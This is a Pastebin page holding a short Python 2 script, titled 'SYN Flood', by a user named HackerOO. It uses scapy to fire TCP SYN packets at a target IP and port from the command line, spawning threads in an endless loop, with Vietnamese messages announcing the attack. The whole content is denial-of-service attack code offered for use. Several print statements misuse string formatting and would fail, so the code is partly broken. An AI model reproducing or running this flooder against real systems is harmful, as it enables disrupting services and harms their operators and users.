Advertisement
HackerOO

[Code] SYN Flood - Python

Sep 1st, 2015
583
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.75 KB | None | 0 0
  1. import logging
  2. logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
  3. from scapy.all import *
  4. import sys
  5. import threading
  6. import random
  7.  
  8. if len(sys.argv) != 3:
  9.     print "Usage: <IP> <Port>" % sys.argv[0]
  10.  
  11. target = sys.argv[1]
  12. port = int(sys.argv[2])
  13.  
  14. total = 0
  15.  
  16. class SYNFlood(threading.Thread):
  17.     global target, port
  18.     def __init__(self):
  19.         threading.Thread.__init__(self)
  20.  
  21.     def run(self):
  22.         i = IP()
  23.         i.dst = target
  24.  
  25.         t = TCP()
  26.         t.dport = port
  27.         t.sport = random.randint(1, 65535)
  28.         t.flags = 'S'
  29.        
  30.         send(i/t)
  31.  
  32. print "Bat dau SYN Flood..." % target
  33.  
  34. while True:
  35.     s = SYNFlood()
  36.     s.start()
  37.     total += 1
  38.  
  39. print "[!]Dang tan cong...[!]" %(total, target)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement